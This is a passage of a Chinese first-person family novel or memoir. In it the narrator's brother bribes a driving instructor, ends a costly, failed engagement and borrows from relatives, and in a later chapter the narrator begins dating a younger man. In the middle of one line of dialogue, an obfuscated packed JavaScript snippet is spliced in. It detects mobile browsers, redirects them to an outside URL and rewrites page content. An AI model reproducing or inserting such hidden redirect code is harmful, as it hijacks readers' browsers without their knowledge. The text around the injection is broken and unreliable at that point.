我弟弟说:“我一个同事跟我说的,买辆冷链车,一年就把本儿挣回来了。以后,每年都能净赚十五万。我又有A照,买来就能开。” 我说:“什么A照,B照,我不懂得。” 我弟弟说:“你不会开车,当然不懂喽。像开小汽车,学的是最简单的,C1照,再大一点的是B2照,像我这样的,学了A照,什么车都能开。” 我说:“你这些都是在县里学的啊?” 他说:“咱这边县里还没有A照,我是去山东学的。” 我说:“你什么时候去的山东啊?我都不知道。你去山东学车,得住在那里吧。” 我弟弟说:“是的啊。一开始,教练光给我脸色看,我一看,形势不对,赶紧送礼。送礼以后,他对我好多了。” 我说:“他对你不好,你自己好好练不就行了嘛?” 我弟弟说:“你就是书呆子。社会上的事儿你是一点都不懂。他给我小鞋穿,就是不给我机会练车,他光让旁人练,我想练,也练不成。我就是练了,他不让我过,我考试还是过不了。” 我问他:“你给他送礼都送了什么啊?” 我弟弟说:“好烟好酒。请他吃饭。好酒好菜。” 我说:“那得不少钱吧?” 我弟弟说:“前前后后花了有五千。” 我说:“天哪。花了那么多。比你的学费还要贵吧。” 我弟弟说:“不这样不行。你还是不懂。他不让我学,光卡我。我要是不给他送礼,我练不上,也过不了。我一直住在山东,光吃住也得不少钱,还要搭上时间。我哪耽误的起啊。” 我说:“也是的。” 我弟弟说:“我给他送完酒以后,他请俺那些学车的人一块儿吃饭。饭桌上,他直接把我送的酒拿出来了。他故意跟大家说,这是鸿雁送的。我的脸刷地就红了。” 我不解地问:“你给他送礼了,他怎么还给你下不来台的?” 我弟弟说:“哪事儿哎,他是故意对人说,让人家都学着点儿,都赶紧给他送礼。” 我说:“你送礼以后怎么样了啊?” 我弟弟得意地说:“他拿我可好了,什么都尽着我,练车让我先练,还跟人家说,我是外地的,不容易。考试也帮着我,我有什么不对的,他都不跟我计较了。我很顺利地就拿到驾照了。” 我说:“噢。送礼果然有用哈。” 我弟弟说:“跟你说这些你都不懂。俺教练人家其实也不缺钱。人家要的就是一种尊重。你看得起他,他就看得起你。俺教练现在拿我可好了。跟我称兄道弟的。我有什么事儿都能找他。他能办的都给我办。他现在就是俺老大。” 我心里想,什么老大,还不是你拿钱给他哄着他的。谁是你们老大,我才是你们老大。 我弟弟跟我说:“你工作了,你赶紧拉关系。” 我说:“怎么拉关系啊,我不会。” 我弟弟说:“给你说你还不信,你不知道,现在全靠关系。” 我说:“我觉得现在还是靠自己。再说了,怎么拉关系啊,我也不会。” 我弟弟说:“花钱呗。” 我说:“怎么花钱啊。把钱给谁啊?我一个月工资就五千块钱,我自己一分不花,都给他?” 我弟弟说:“你不拉关系,你就会吃亏。人家就得给你小鞋穿。” 我说:“给小鞋穿就穿呗。我给他多少他才能满意啊。别烧香引出鬼来,把我所有的收入都给他,他还不满足怎么办?” 我弟弟说:“你别看你是大学生,你还是社会经验太少了。你不懂。跟你说,你还不高兴。” 我说:“我就是想不通,你为什么非叫我拉关系的?我自己凭我自己的本事吃饭,我为什么要拉关系呢!” 我弟弟说:“行行行!咱姊妹俩儿也别说了,说了又闹意见,生气。” 我也憋着一口气说:“俺这里都是有文化的人,跟恁不一样,不用拉关系。靠自己的本事吃饭。我再怎么拉关系,我自己不行,那还是没有用。” 我弟弟摆摆手说:“行啦行啦!别说了,别说了。” 我那时候还不能理解我弟弟的话,我就觉得,我弟弟怎么那么庸俗不堪呢,还把我惹得一肚子气。 等我们回到家,我弟弟不在跟前的时候,我跟我妈妈说:“妈妈,鸿雁那冷链车又不能开了,你知道吧?” 我妈妈说:“我知道。” 我说:“十五万就这样打水漂了。他天天浪费钱,拿着钱胡败坏。没完没了,谁能吃得消啊?” 我妈妈说:“他也是想好的,这不是形势赶的吗?他也没有办法。” 我说:“他要是不是因为买车,他都能攒个首付了吧。他这些年光是浪费的钱都有多少了?咱家铺张的起吗?” 我妈妈说:“我有什么办法?他也不听我的。这几年,不光是他自己的钱,我每年积攒的钱都给他了,他也没攒下来。” 我说:“他不为别人想想,也不为自己想想。你都那么大年纪了,还能为他再干几年?俺跟笑笑都为他发愁,他还跟没事儿的似的。” 3.我弟弟的婚事——梅儿 转眼间,又到了过年的时候,这一年,我弟弟不在苏州上班,我也没有买到票,我就决定不回去了,一个人自己过年。 这么多年,我是第一次自己过年,我不知道那种感觉是不是很伤心很孤单,我能不能受得了。我就提前给自己囤了一冰箱的饺子,这样,过年前前后后那几天,我就不用出来觅食,不用担心被人家看见追问了。谁也不会知道我没有回娘家,谁也不会知道我是一个人过的年,谁也不会议论我是多么悲伤多么可怜多么栖栖遑遑了。我又去凯源旅游超市转了一圈儿,买了三盒海底捞的自热火锅,算是对我一个人过年的犒劳和安慰。电视给了我很好的陪伴。我白天看电视,到了晚上,我还是看电视,到了十点多,就安安稳稳地睡觉。到了早上,我一觉醒来,洗漱一下,还是打开电视,看着精彩的电视节目,也没有什么悲伤。 大年二十七、八的时候,我妹妹给我打电话:“姐,俺哥找对象了。要定亲,给彩礼。咱妈来俺家借钱,俺老婆婆借了四万。咱妈说的,还要跟你借。我提前跟你说一声。” 我说:“啊,鸿雁要结婚了啊,这是好事儿啊。咱妈跟我借钱,我能给就给吧。我自己也欠了一屁股贷款。但是他结婚定亲,我还是蛮高兴的。” 我妹妹说:“一提他结婚俺就害怕。他是个无底洞。咱妈填不上,就来找咱们。” 我说:“找就找吧。咱们能管就管,管不了也没办法。” 我妹妹说:“昨天,咱妈来了俺家,都没跟我说,直接跟俺老婆婆说的,鸿雁定亲了,要彩礼,要借钱。俺老婆婆说,俺家也没钱,得跟俺几个婆婆姨借。俺婆婆去借了钱给咱妈的。” “噢。”我说,“恁老婆婆还蛮好的。关键时刻还能帮咱家一把。真是帮了咱家大忙了。” 我妹妹说:“这么多钱,也不知道什么时候能还,这在我心里,都是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137810|180320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 压力。” 我说:“也是的。恁家要养三个孩子,本来就很不容易了。恁婆婆还能借钱,真的是很伟大了。” 我妹妹说:“我想跟你说,又怕你听了烦。不跟你说吧,怕你不知道。咱妈很快就来跟你借钱。你有个心理准备。” 我说:“好的。谢谢小妹。你以后什么事儿还是提前跟我说,咱妈问我了,我也好有个回答。”其实,我是老大,鸿雁的事,我也有心理准备,给他花钱是早晚的事儿。听说他结婚,我还是为他高兴。我也希望他早点结婚生子。 我妹妹说:“我一点不想提他,一提他,我就觉得恁害怕的。无底洞。没完没了。上次他买房子,咱们两家一家给了他五千,这不他又要结婚了,又得问咱要钱。” 我说:“也是的。咱们也是能帮就帮他点。实在帮不起,那也没办法。他还能把恁家房子给霸占了吗。他找的什么对象啊,怎么样啊?” 我妹妹说:“是个二婚,带着个小女孩儿。说是怪老实。人家要八万彩礼。” 我说:“八万也不多,咱那边彩礼重。人家都是十几万,几十万的。他们现在什么情况了啊?” 我妹妹说:“鸿雁去她家了,她父母也同意。鸿雁经常带那个女的,跟她的那个小女孩,一块吃饭。带犊子。姐,俺不喜欢那个女的。” 我说:“一个小女孩还好的。你也不要说人家。这年头儿,人家愿意跟鸿雁就不错了。” 我妹妹说:“咱妈也是这样说的。咱妈跟我说,恁嫂子多好多好,给咱家省钱。彩礼多了也没要。八万是顶少顶少的了。” 我说:“不知道咱妈什么时候给我打电话。” 我妹妹说:“你等着吧。马上马地就打电话给你了。她不急着用钱吗?跟人家打肿脸充胖子,没钱了就来问咱们要。” 我说:“你说我是打电话给咱妈啊,还是等她给我打电话啊?” 我妹妹说:“你自己看吧。你不打电话咱妈也会找你的。” 我说:“那我等她的电话吧。” 我妹妹说:“姐,鸿雁做事不靠谱。我就担心,那女的别是个骗子。” 我说:“应该不会吧。你别没好心眼儿说人家。咱们应该祝福他。他年纪也不小了。早点成家立业,生个孩子。咱妈也了个心事。” 我妹妹说:“你看着吧。现在咱妈高兴地跟什么似的,你看人家能真心实意跟他过日子吧。” 我说:“你吧,不要对鸿雁有偏见。他以前找的那个倩倩你就不喜欢。可能是媳妇小姑子历来不和吧。” 我妹妹说:“那倩倩不是最后没跟他吗?坑了他那么多钱,到最后还不是骗子。” 我说:“这个你不是说怪老实的吗?这个不能是骗子吧。” 我妹妹说:“那谁知道。” 我说:“咱家就那点本事,哪里被骗的起啊。” 我妹妹说:“我就说嘛。所以咱妈给你打电话,你心里有个数。” 我跟我妹妹说完话没有多久,我妈妈打电话来了。 我接了电话说:“妈,我知道了,笑笑都跟我说了。俺小弟要结婚了,我听了蛮高兴的。” 我妈妈说:“人那个小女孩可好了,人也老实,人家知道给咱家省钱,没问咱家要多少钱。” 我说:“是的。妈,你也知道我刚买了房子,手里没有多少钱,我自己还有几十万贷款。俺小弟要结婚了,我也应该帮他的。我就给三万。” 我妈说:“那好吧。不够的,我再跟恁何敏姨借借。” 年三十晚上,我问我妹妹说:“小妹,这这都年三十儿了,鸿雁怎么过的啊?他是跟他老婆一起过啊,还是去他丈母娘家呢?” 我妹妹说:“那个女的娘家就搁县里,跟鸿雁的房子不太远。那个女的说的,她要搁她娘家住,让鸿雁初一过去吃饭。” 我说:“人家都说除夕守岁,她们要是感情好的话,不是应该在一起守岁跨年吗?怎么都定了亲了,结婚了,还不在一起过年,还分开住,让鸿雁一个人过年呢?鸿雁一个人住,不孤单吗?” 我妹妹说:“这谁知道,我就说吧,骗子。感情好的话能不在一起吧。” 我发信息给我弟弟,他也发信息给我,顺便给我发了那个女的跟她的小孩儿的视频。她们娘俩儿一起从楼上下来。小女孩儿长着一双大大的眼睛,一看就很鬼精灵,大概像她的爸爸吧。弟媳妇呢,倒是踏踏实实,本本分分的样子。 我跟我弟弟说:“我看了弟媳妇,我还蛮喜欢的。像是咱家的人。踏实本分。你就该找这样的。” 我弟弟说:“那是!梅儿是九零后,比我小。就是不爱讲话。” 我说:“不爱讲话没事儿。说明人家老实,你更要好好珍惜人家。对她那个小丫头也要好。我给你发一千块钱的红包,你给弟妹。你好好陪她们玩,我就不打扰了。” 我弟弟说:“好的。” 初一早上,我没有看春晚,没有多大的兴趣,也不太敢看。我怕春晚节目太煽情,引起我无端的伤感。我边看电视,边打开自热火锅,自己研究着怎么个吃法儿。就这样吃吃火锅,看看电视,感觉挺好的,比回娘家好多了。回娘家吃不好,住不好,大年初一还要被赶出去住宾馆,真是何苦来。我用亲身经历证明,一个人过年真的一点都不可怕。很多事情,你想象的,远比你经历过的更加可怕,比如离婚,比如离婚以后一个人过年。 年后,该上班了。我又问我弟弟:“小弟,过完年了,你什么时候上班啊?” 他说:“苏州先不去了,过些日子吧。说不定,我就在县里做点小生意。这样离她近。” 我说:“年后,人家民政局的人也上班了。恁什么时候登记啊?” 我弟弟说:“她还没提呢。反正我也不急。不登记我还是未婚呢。” 我说:“你彩礼都给了,婚也算结了。不登记算怎么回事啊?你不怕飞了啊?” 他说:“不怕。” 我问他:“恁住搁一块儿了吗?” 他说:“没有。” 我说:“我听说,过年的时候,恁没搁一块儿,那时候我还当是因为她搁她娘家,不好意思。现在过完年了,恁还不住搁一块儿吗?” 我弟弟说:“她说她走不开,她要搁她娘家照顾她弟弟,给她弟弟做饭,她弟弟上高中。她经常喊我去吃饭,有什么事儿都是我去。” 我说:“那恁这是怎么回事儿?结了婚了还是各过各的。说是夫妻吧,又不住搁一块儿,那怎么生孩子啊?” 我弟弟说:“随便她吧。” 我说:“你耽误不起啊。咱妈肯定也是希望你早点生孩子啊。唉。我也不问了。这也不是你一个人说地算的。我不给你压力了。” 等我挂了电话,我又给我妹妹打了电话。我说:“小妹,这个不对头哎。鸿雁跟那个女的居然没有住搁一块儿。这算什么夫妻啊。要是两个人感情好的话,肯定是住搁一块儿啊。咱们都是结过婚的人。你想想,你跟大响是不是就想天天搁一块儿啊。这才是真心实意,想一起过日子的嘛。” 我妹妹说:“我就说吧。骗子。咱妈还不让说,咱妈根本就不敢问。怕人家生气,不跟了。” 我说:“现在鸿雁怎么办,就这样耗着啊?她有孩子了,鸿雁耗地起吗?这算是怎么回事儿啊。这个肯定要问,要解决的啊。” 我妹妹说:“咱可管不了。鸿雁也不是正经过日子的人。你知道他现在干什么?他卖咸肉。你说一个好好的小青年儿,不上班,就贩点咸肉卖卖,多不好听啊。” 我说:“他就喜欢做生意。” 我妹妹说:“可拉倒吧。他做小生意,卖小玩具,亏了多少钱。前几年,他去义乌小商品市场,拉了一万块钱的货,没卖出去,就那样一直搁在家里,后来拉到俺家,还搁在那里呢。人家大响都催了,大响要用车,鸿雁还把俺的车占着。” 我说:“鸿雁也是的。自己啥事儿都弄不好,还拖累别人。你们要用车不跟他说吗?” 我妹妹说:“跟他说了,他说,让大响拉了去卖废品。” 我说:“一万块钱的小玩具就这样卖了废品了?” 我妹妹说:“要不也卖不出去啊。他贩的那些小玩具都过时了,什么小塑料乌龟,小鳄鱼的。哪有人买啊?人家现在街上,那些玩具,都比他卖的漂亮,都没有人买。” 春天的时候,我弟弟跟我打电话,要问我借钱。 “大姐,你能借我点儿钱吧?” 我说:“你要多少啊。” 他说:“一个数。” 我说:“你要干嘛啊?” 他说:“我想开个店,学着人家做豆腐,卖豆腐。我出去卖豆腐,让她看店。” 我说:“我没有那么多,我借给你五千吧。你以后花钱悠着点,不要老是管我要钱。我现在压力也很大。” 他说:“好的。”我就借他五千。是的,我也学会跟我弟弟打折了。是的,我是怕他还不起。不仅如此,我还怕他下回还要借的。我年纪大了,也没什么本事,也没什么积蓄,要是每次我弟弟借钱,我都是如数奉上,我还真的承担不起这个压力。 过了一些日子,我问他:“小弟,你开店了吗?” 他说:“没有。她不能看店。” 我说:“她怎么不能了?” 他说:“她太老实了,不能跟人说话。不爱跟人接触。” 我说:“那你们现在怎么样了。住搁一块儿了吗?” 他说:“没有。” 我说:“妈呀,这算是怎么回事?你们就这样过啊。” 他说:“花了十四万,就买了个那玩意儿,还用不上。” 我说:“这个说个不好听的,连相好的也不如啊。两口子不住到一块儿哪来的感情啊。” 他说:“就这样吧。大不了就分开呗。” 我说:“她怎么说的?” 他说:“她让我跟她爸爸去学装修,她爸爸说了,人家她侄子,一个月不用怎么上班,随随便便就能拿二十万,我去干几年,赚个几十万,回来把我那个房子卖了,再买个大房子。” 我说:“干装修赚钱能那么容易吗?” 他说:“是真的,她爸爸说的。一年赚个二十万跟玩儿的似的。” 我说:“那好啊。我也盼着你发财啊。” 他说:“他爸爸对我这个房子不满意,嫌太小。让我把房子卖了,去他们小区买个大房子。” 我说:“你怎么想的呢?” 我弟弟说:“我不想去他们小区,远了香,近了脏,跟她娘家住地近,以后跟她弟弟容易扯皮。不过,等我赚了钱,我确实要买个大房子。她天天嫌我这个房子小。” 我说:“我的房子也是八九十平,俺也没嫌小,我没那个钱换大房子。她自己都不上班,她还天天嫌房子小呐?” 他说:“她娘家房子大。” 我说:“那你什么时候跟她爸爸去干装修啊?” 他说:“快了。顶多再过半个月吧。她早就让我去了。我不想去。太远了,在甘肃。” 我说:“那么远!” 他说:“所以她妈妈跟她爸爸一块儿干装修,她就搁家里照顾她弟弟啊。” 我说:“那你要注意安全。跟老丈人一块儿相处,不容易的。” 他说:“这肯定的。” 不久以后,我打电话给我妈妈的时候,问我妈妈:“鸿雁还搁甘肃吗?” 我妈妈说:“鸿雁不跟着他丈母爷干了,他丈母爷天天骂他。他受不了。干装修粉尘太大,鸿雁天天咳嗽。他现在又去苏州了。” 我说:“他们到现在还没住到一块儿啊?这叫怎么回事儿啊?” 我妈妈说:“你可别说哈,说了别让人家不跟了。” 我说:“照这样下去也不是办法啊。” 我妈妈说:“那怎么办,别的不好找。就这样的,外面还围着一群男人呢,你不愿意,马上一群男人跟上来了,跟一窝蜂儿似的。” 过了些日子,我妹妹告诉我:“姐,鸿雁离婚了。他跟那个女的离婚了。” 我说:“真的啊。这是好事儿。你不要说他离婚。他们根本没有登记,算什么离婚。顶多叫分手。” 我妹妹说:“我就说吧。骗子!这回好,花了那么多钱。捞不回来了吧?” 我说:“鸿雁跟她分开,这是好事儿。老这样拖着对鸿雁不好,浪费时间,浪费感情。这阵子鸿雁肯定心情不好,我们要多给他安慰,可不要怪她。你也劝劝咱妈,不要怪鸿雁。” 我妹妹说:“行。鸿雁呗,借俺家的钱,给那个女人买了金镯子,还拿到俺家跟俺老婆婆炫耀,让俺看他两万块钱买的大金镯子。钱还是借俺的。你说他是什么人啊?” 我说:“咱妈妈不是还夸那个女的吗?说她没有乱买。就买了个金镯子。说是当做传家宝。这回他们分了,不知道彩礼能退吧。” 我打电话问我妈妈。我妈妈说:“那个女的爸爸也不孬,知道是她闺女不好。答应把彩礼退回来。他不答应也不行啊。他不退,咱打官司也得把彩礼要回来啊。” 我说:“那个金镯子要回来了吗?” 我妈妈说:“鸿雁没要。说是送给她了。” 我说:“你们这回又贴了怪多钱吧。” 我妈妈说:“好几万。” 37. 婆.罗.门 老公、公婆,同气连枝,童子可欺。母子、子母,孤军奋战、无枝可依。 1.端午,一个白白净净的小男生 未经世事的小姑娘,总是对老大叔、老大爷心生向往。而吃透了老大叔、老大爷的刁滑油腻,受够了老大叔、老大爷的心黑毒辣不要脸以后,才开始知道要找就找小鲜肉。 “我要90后!我要小鲜肉!”我跟媒婆说。 “好的。我来帮你物色!”媒婆说。 我就是要找比我年轻的。我经济足够独立,我不靠男人养活。我不图钱,我图颜色!我不要老腌肉的盐渍色、酱红色,我要一股子清清纯纯的天青色!我能够理解,为什么武则天当了女皇以后,找的男宠都是妥妥的小鲜肉,而不是老腊肉了。我能够理解,为什么齐白石在八十岁的时候,看到一个四十岁的女人,会嫌弃那女人太老了。是的,在濒临四十岁的年纪,我已然觉得自己老了。我的青春不在了。我不想做徒劳的挣扎。我只想另寻一抹可餐的秀色。我就要找个90后,我为什么不能找个90后?求仁得仁。我相信我能找到的,我最后终于找到了。 端午是一个小男生,也是我未来的丈夫。一开始,跟他微信聊天的时候,我还真没把他当回事儿。 “你哪一年的?”我问他。 “我92年的。”他说。 “啊?我想找个90后,但没想过找那么小的啊?小我八岁呢!太嫩了。”我说。 “你工资多少啊?”我又问。 “我一个月三千五。” “啊?那么低!比我的要低三倍了!”我说,“我们要是结婚了,以后怎么活啊?” “车到山前必有路。”他说。 “得了吧。现在都无路可走了。还以后呢。”我说。我对这个比我小八岁的90后小男生不太感兴趣了。我翻翻手机看看他的照片。照片里,他面对洗手台站着。看上去像是一个高中生,有着白白的修长的双手和白白的脸庞。 我那时候跟他还没有见过面,我对他有些无可无不可。 但是,毕竟是快到春天了。不知道是鬼神拨弄,还是我自己的突发奇想,还是我实在忍不住要去肆意地怀念我内心的那个宝藏。我开始写起了我埋在心里的那些文字:“荆堂是一个小村庄。这个地方其实是祖辈上因为躲避水患迁居过来的。它的前身应该是山东省苍山县会宝岭水库西北的一个小山村。我曾经站在水库这边往西北望,我不知道茫茫的水库那边究竟哪一块土地是祖上曾经生存的地方。 ” 我想着记忆中的父母和荆堂,自由自在地写着写着,无拘无束,信马由缰,很快就写了很多字很多行。我那时候还不知道我为什么要写这些,其实到现在我还是不是太清楚。我只知道我回回梦见荆堂,梦见小时候,梦见爷爷,我不写一写,我就从我小时候的梦境中出不来。而事实证明,我写了,还是出不来。 我不知道是我亏欠了故乡,还是故乡亏欠了我。我也不知道是爹娘亏待了我,还是我亏待了爹娘。我不知道是我要在梦里寻找故乡,还是故乡要通过梦境来死死地缠住我不放。 总之,我是要一生都在做荆堂的梦,这种还乡的幽梦很可能要追随我一生,我不知道它是要来守护我,还是要来要我的命。我想我会永远背负着它,我知道我是到死也逃脱不了它的。哪怕我是孤魂野鬼阴魂不散地走在黑漆漆的路上。它还是会陪伴着我。是的,它对我的陪伴要比它给我带来的痛苦要多地多。一个人始终逃脱不了故乡魂梦的追捕,这到底是一种幸福还是一种痛苦?我现在还是有点说不清楚。 在端午的坚持下,我们见面了。就在我们小区大门口儿。我第一眼看到他时就心满意足了。那时,他亭亭玉立地向我走来,隔着十几米的距离,我透过七百度的近视镜一眼就相中他了。我从来就没有见过这么干净的小男孩儿。 端午有辆白白的小车儿,停在路边儿,像是他的一匹白色的小马。我也很满意。我希望对方有车,我吃过前夫没有车的苦,是的,我爱面子。疫情期间,我一个人独居,苦闷、焦虑,有了严重的洁癖,每次打车回来,我都换衣服洗澡,仿佛浑身都是细菌。我希望对方有车,尤其是恋爱期间约会的时候,尤其是我生完孩子的时候,我不想在我产后,从医院回家的时候,还要打车,忍受我忍受不了的难受。 这几年,我自觉老了。人越老越是喜欢干净的东西。无论灵魂还是□□。倒不是说端午比我小八岁,他就比别人清新。很多九零后的小鲜肉也并不清新。人是可以貌相的。我都快四十了,到了我这个年纪,一个人怎么样,从面孔上都可以推知一二。而我,自己到了油腻的年纪,越发拒绝油腻。无论□□还是灵魂的油腻,我都受不了。男人是要同床共枕的,下不了口的人,你要来干什么。而端午,我一眼就相中了,他一点都不油腻。 那是二月底,天还很冷,我带着他去奶茶店买了两杯奶茶,然后我们就去南山看梅花。那天,我穿着售货员给我推荐的并不好看的棕色皮毛外套,配上我的大圆脸,越发像个地主婆了。端午穿着灰白色的棉服。梅花还没有盛开,我们就聊聊天,走走路。 说实话,那天,我跟端午聊地还是很投机的。他给我的感觉还是情商很高的。为什么越是到了后来,我越是觉得他情商那么低呢。感情他所有的智慧都集中在第一次见面的那一天了?而且,自那以后,我感觉这么些年,我们就没有好好地聊过天。 我们在山坡上走着。我相中了端午,开始变得忐忑。 “就是你了!”端午说。听到他的这句话,我有些悬着的心才放下来了。 “下周去我家看看我爸爸。”他说。 “只看你爸爸,不看你妈妈吗?”我说。 “我妈妈之前看了你的照片,她没意见。我家我爸说的算,只要我爸没问题,我妈就没问题。”他说。 “我爸爸在我们那里也是有头有脸的,他不太同意。”端午皱了一下眉头说。 我知道,我比端午大八岁,又是二婚。他爸爸要是不同意也很正常,我还真有些担心了。 “见你爸爸的时候要注意什么呢?”我说。 “你注意一点就行,说话不要触他的霉头。”端午郑重其事地说。 乖乖!那时候,我还不知道他爸爸到底是多大的“头脸”,后来我才知道,他爸爸就是小区里头的一个保安。保安就保安吧,我不知道为什么他们家,非要把他爸爸的官衔吹嘘地那么大。 人生若只如初见。我对端午的初始印象太好了。所以我一开始居然害怕跟不上他。现如今,如果你再问我,如果时光穿越,可以回到当年,你还愿不愿意与他相见?答曰:不愿意。虽然不能完全肯定。但是不愿意的成分是居多的。这里面有很多说了又说的原因以及很多不可说不能言说的原因。 中午,端午请我吃饭。他对我这里不熟,我带他去了一家叫“金牛座”的小店里吃饭,那是一家类似砂锅似的小店,我们点了一份菜,两份米饭,总共不到一百块钱。端午吃饭的样子我也很喜欢。他吃饭就是吃饭,说话、走路,大大方方,不卑不亢。他是那么自然,没有什么心眼儿,透着一股子高贵。 是的,在我看来,干净的就是高贵的,干净的才是高贵的。我在端午的身上几乎看不到任何的扭曲和虚假,繁饰和花样儿。他像是天空里干干净净的水珠和雪花,没经过任何污染和同化。任何污染和同化也改变不了他。 是的,端午很干净很高贵,我现在依然是这么认为。包括他后来傻货没脑子去实名举报我的直属领导,害惨了我,我恨死了他,我在重重压力之下时时有跟他离婚的想法,我依然觉得他是干净的,高贵的。 我喜欢他的高贵。那不是被绫罗绸缎装裹起来的高贵,也不是被纸醉金迷烘托起来的高贵,更不是被老奸巨猾阴谋诡计晕染起来的高贵。也不是被压抑被扭曲被同化过的高贵。 是的,他是害了我,可是他没有错。就像一个童儿拿着一把枪对准了一只张开血盆大口正要活吞下一个人的鳄鱼,那鳄鱼受了那枪声的惊吓反而把那人给撕咬地更惨了。 人们不去责怪那鳄鱼的狠辣,反而去责怪那童儿帮了倒忙,大错特错了。 端午错了吗?端午没有错! 从头到尾,端午都没有错! 说端午错,本身就是大错特错! 错的是这世上的鳄鱼还是太多了,所以它对人的肆意地撕咬都成了正常的,而人在他血盆大口里的徒劳的挣扎反倒成了愚蠢和错误的。 错的是无知的人类黑白颠倒地要求被撕咬的人去压抑去隐忍的所谓的成熟和圆滑。 错的是端午这样的人还是太少了,他的力量还是太单薄了。并且,他的做法是没有多少实际的用处的。所以,他这样的人才会被认为是蠢货和傻瓜。 错的是那些苍蝇和蚊子,它们成天地嗜血,横行霸道惯了,它们的灵魂成天地泡在恭桶里,处恭桶之久则不知其臭,它们的良心和脊骨都像虾线一样黑了脏了,大大的坏了,一旦有人拿着苍蝇拍子想要去驱赶它,它便觉得那人是不对的。 而那人打不着苍蝇还要惹一身骚,引得嗜血和逐臭的蚊蝇更凶猛更残忍的来吮血和侵扰。于是,那胆敢去挑战蚊蝇的人便也深深地害怕了。他晓得恶心的蚊蝇其手段之残忍其品行之无耻其心肠之毒辣了,他晓得那蚊蝇的反攻会如何地让他生不如死痛不欲生了。所以,种种重压和无奈之下,他便也觉得自己居然胆敢去挑战那些蚊蝇的行为千真万确地是错的。 是的。我要再说一遍。端午没有错!我们不偷不抢,行为端正,品行廉洁,两袖清风,我们哪里错了? 是的,错的是它们,我们没有错! 可是,亲爱的,这个世上,苍蝇、蚊子太多了,自古皆然。 所以,蚊蝇的横行逐渐被认可,它们嗜血害人也便被认为是正常的。而大声地指出来这儿有一只苍蝇的人,反而被认为是少见多怪的,是脑子进水了。 因为蚊蝇本身就是嗜血的食粪的,你想让它去像蝉一样垂緌饮清露怎么可能呢?你想让它像凤凰一样非梧桐不栖怎么做地到呢? 蚊蝇是成群结队的,它们的子子孙孙狐朋狗友很多的。你这边刚赶走一只蚊蝇,那边还会有千千万万只蚊蝇飞过来,你赶地完吗?你摆脱地了吗? 既然赶不完,摆脱不了,那么,你就咬着牙承受吧。你或是你的家人被它叮几口,吸几口血,在脸上拉几泡屎,也很正常的。 既然挣扎无济于事,你何必挣扎呢? 你一没有全无敌,二没有枪手,三没有灭蝇器,你甚至连一只苍蝇拍子都没有,你干嘛天真地以为凭你一己之力就可以徒手把那些蚊蝇赶走呢?你居然幼稚地想去徒手驱蝇,你驱蝇不成,引得那苍蝇恼羞成怒,对你的家人进行更大规模的叮咬和报复,赔了夫人又折兵,这可不是傻缺的行为吗? 是的。端午没有错。我们很正确,我们很干净!我们肝胆皆冰雪的干净! 我第一次见到这么干净的一个人。我喜欢上了这个小男孩儿。饭后,他陪我到公园里走走,在长椅上坐坐,然后他就要回去了。 “我回去了”,他说,“下星期你去我家。” 又到了周六,他不加班,就直接来了。我之前还在为他住在哪里盘算,我本来想让他住在附近的宾馆,还想着各种为他操心的事情。 等他来了,我直接把他带回了我家。就让他睡沙发。我认定了他。 那天夜里,他因为是沙发,睡不着,而我,习惯了睡在床尾,睡地很香。他在沙发上喊我:“大省,你睡地着吗?” 我气呼呼地说:“我睡地着,你不要喊我!” 然后,他就不敢再吭声儿了。我的卧室的门儿是拴着的。 我发誓,我们那天真的是相安无事。 第二天是星期天,他带我到了他自己的家。过了一会儿,他爸爸来了,拎着一盒草莓和一盒车厘子。他爸爸对我还是比较满意的。 “嗯,确实蛮好的。”他爸爸说。这门亲事就定下来了。中午,端午带我去吃了一盆干锅香辣虾。因为昨天睡沙发,端午一夜没怎么睡着。饭后,他就去他房间里睡觉。只有一张床,我没地方睡。我就在客厅里等他。他把他的一床被子拿过来,给我扔在沙发上,我也没用。我看着他的房子,比我的小房子还要新展还要宽大,我有些心满意足了。我那时候还不知道,端午的房子乃至整个片区都是拆迁来的。 端午睡了一会儿,就起来了。因为接下来的周一是“三八”妇女节,端午带我去逛了他家附近的大润发超市,给我买了一盆小绿植,还把他的“小爱同学”带到了我家。 第三次见面,是周五晚上,端午又到了我家。我在洗碗的时候,他像是小鹿一样靠近了我左边的肩膀。我以为他是在勾引我,我就顺理成章地上钩了。可是后来,据他说,是我主动的。 后来,我跟程云说:“他很快。也就一分钟。” 程云说:“你说说,之前一个是这样的,再找一个又是这样的。你怎么净找这样的?你还那么年轻,以后怎么过呢?” 我说:“我就凑乎着过了。我以前跟那个阳痿一起,我都习惯了。他应该比那个阳痿好一些吧。” 夜里睡觉的时候,他像是小奶狗一样,嘴里支支吾吾地叫着,蜷缩着他的身体睡觉,不知道他以前就是这样,还是找到了我以后才这样。总之,在我眼里,他越发可爱可怜了。 是的,他是我在莽苍的人生路上的小兄弟,他不是狮子和老虎,也不是狐狸和鳄鱼,他更像是一只兔子或是小鹿。他不是一个很雄性的男人,却是一个很忠诚很纯真的伴侣。 第二天早上,天空中下着几点小雨,我跟端午一起打着伞去吃面。路上,我跟端午谈起彩礼这事儿。 我说:“你们这边儿的彩礼都是多少啊?” 端午说:“有六万,也有八万。” 我说:“我要八万。你工资低,以后我们要养小孩。再说,我一年工资都十来万呢。我就想要个重视。” 端午很爽快地说:“好的!” 我说:“我父母都不在这边,没有人替我说话。我看媒人说话也是向着你家的。你去帮我跟你父母谈吧。” 他说:“好的,我去跟他们说。”当时,我就觉得端午这个人很实诚,而且他肯站在我这边,他虽然没钱,但是很爽直,没有什么小心眼儿。我觉得跟这样的人在一起很可靠很踏实。 吃完早饭,端午带我去“周生生”买钻戒。端午自己身上的钱不够,只有七千,就打电话让他爸爸给他四千,给我买了一个有且仅有的最便宜的一万块钱的钻戒。 端午还要买对戒。“对戒要有的。”他认真地说。然后他又买了五千多的对戒。 “我回去,明天把我妈妈带过来,一起吃个饭。”端午说。他说话都是一是一、二是二,仿佛不容置疑也不容更改。我一切都听他的,我也乐得听他的。 